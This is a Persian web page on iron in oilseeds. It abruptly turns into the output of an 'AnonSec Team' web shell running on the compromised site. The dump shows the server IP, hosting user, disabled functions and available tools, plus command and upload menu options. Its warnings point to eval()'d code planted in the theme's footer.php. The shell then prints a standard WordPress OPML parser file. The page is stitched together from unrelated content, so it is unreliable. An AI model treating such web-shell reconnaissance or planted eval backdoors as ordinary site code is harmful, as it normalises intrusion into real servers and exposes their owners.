انواع دانه های روغنی حاوی آهن

یکی از ویژگی های مثبت و قابل توجه برای انواع دانه های روغنی این است که حاوی مقادیر قابل توجهی آهن می باشد. آیا همه دانه های روغنی دارای آهن می باشند؟
به طور کلی برخی از ویتامین ها و مواد معدنی در بین عوام از اهمیت بیشتری برخوردار می شوند، شاید در بین مردن کسی پتاسیم و منیزیم را نشناسد و نداند این مواد چه تاثیری در بدن خواهند گذاشت، این در حالی است عموم افراد آهن و اثرات کمبود آن در بدن را به خوبی می شناسند.
شاید دلیل این موارد توجه بیش از حد به این گونه مواد می باشد، دانه های روغنی همواره به عنوان یکی از دسته های مهم مواد غذایی مورد توجه قرار می گیرند، این دانه ها که ترکیب اصلی آن ها چربی غیر اشباع شده می باشد، برای تامین بسیاری از نیاز های بدنی پیشنهاد می شوند.

انواع دانه های روغنی

دانه های روغنی و آهن موجود در آن

آهن یکی از مواد معدنی می باشد که برای رشد ذهنی افراد بسیار مفید است، همچنین مصرف آهن در جلوگیری از کم خونی نیز موثر می باشد، به طور کلی کمبود آهن باعث به وجود آمدن مشکلات عدیده ای خواهد شد، به همین دلیل است که پزشکان برای کسانی که کمبود آهن داشته باشند، داروی شیمیایی آن را تجویز می نمایند.
بسیاری از منابع از انواع دانه های روغنی به عنوان منبعی از آهن نام برده اند، دانه های روغنی همچون پسته، فندق، گردو و کنجد به راحتی می توانند آهن مورد نیاز بدن را فراهم کنند، ضمن این که این دانه های روغنی با داشتن اسید های چرب ضروری امگا در تقویت سیستم مغز و قلب و عروق کارساز خواهند بود.

ÿØÿà JFIF ÿþ; AnonSec Team
AnonSec Team
Server IP : 37.187.155.34  /  Your IP : 18.221.142.39
Web Server : LiteSpeed
System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : oilse103 ( 1565)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/link-parse-opml.php
<?php
/**
 * Parse OPML XML files and store in globals.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( 'ABSPATH' ) ) {
	die();
}

/**
 * @global string $opml
 */
global $opml;

/**
 * Starts a new XML tag.
 *
 * Callback function for xml_set_element_handler().
 *
 * @since 0.71
 * @access private
 *
 * @global array $names
 * @global array $urls
 * @global array $targets
 * @global array $descriptions
 * @global array $feeds
 *
 * @param resource $parser   XML Parser resource.
 * @param string   $tag_name XML element name.
 * @param array    $attrs    XML element attributes.
 */
function startElement( $parser, $tag_name, $attrs ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	global $names, $urls, $targets, $descriptions, $feeds;

	if ( 'OUTLINE' === $tag_name ) {
		$name = '';
		if ( isset( $attrs['TEXT'] ) ) {
			$name = $attrs['TEXT'];
		}
		if ( isset( $attrs['TITLE'] ) ) {
			$name = $attrs['TITLE'];
		}
		$url = '';
		if ( isset( $attrs['URL'] ) ) {
			$url = $attrs['URL'];
		}
		if ( isset( $attrs['HTMLURL'] ) ) {
			$url = $attrs['HTMLURL'];
		}

		// Save the data away.
		$names[]        = $name;
		$urls[]         = $url;
		$targets[]      = isset( $attrs['TARGET'] ) ? $attrs['TARGET'] : '';
		$feeds[]        = isset( $attrs['XMLURL'] ) ? $attrs['XMLURL'] : '';
		$descriptions[] = isset( $attrs['DESCRIPTION'] ) ? $attrs['DESCRIPTION'] : '';
	} // End if outline.
}

/**
 * Ends a new XML tag.
 *
 * Callback function for xml_set_element_handler().
 *
 * @since 0.71
 * @access private
 *
 * @param resource $parser   XML Parser resource.
 * @param string   $tag_name XML tag name.
 */
function endElement( $parser, $tag_name ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	// Nothing to do.
}

// Create an XML parser.
if ( ! function_exists( 'xml_parser_create' ) ) {
	trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
	wp_die( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
}

$xml_parser = xml_parser_create();

// Set the functions to handle opening and closing tags.
xml_set_element_handler( $xml_parser, 'startElement', 'endElement' );

if ( ! xml_parse( $xml_parser, $opml, true ) ) {
	printf(
		/* translators: 1: Error message, 2: Line number. */
		__( 'XML Error: %1$s at line %2$s' ),
		xml_error_string( xml_get_error_code( $xml_parser ) ),
		xml_get_current_line_number( $xml_parser )
	);
}

// Free up memory used by the XML parser.
xml_parser_free( $xml_parser );
unset( $xml_parser );

AnonSec - 2021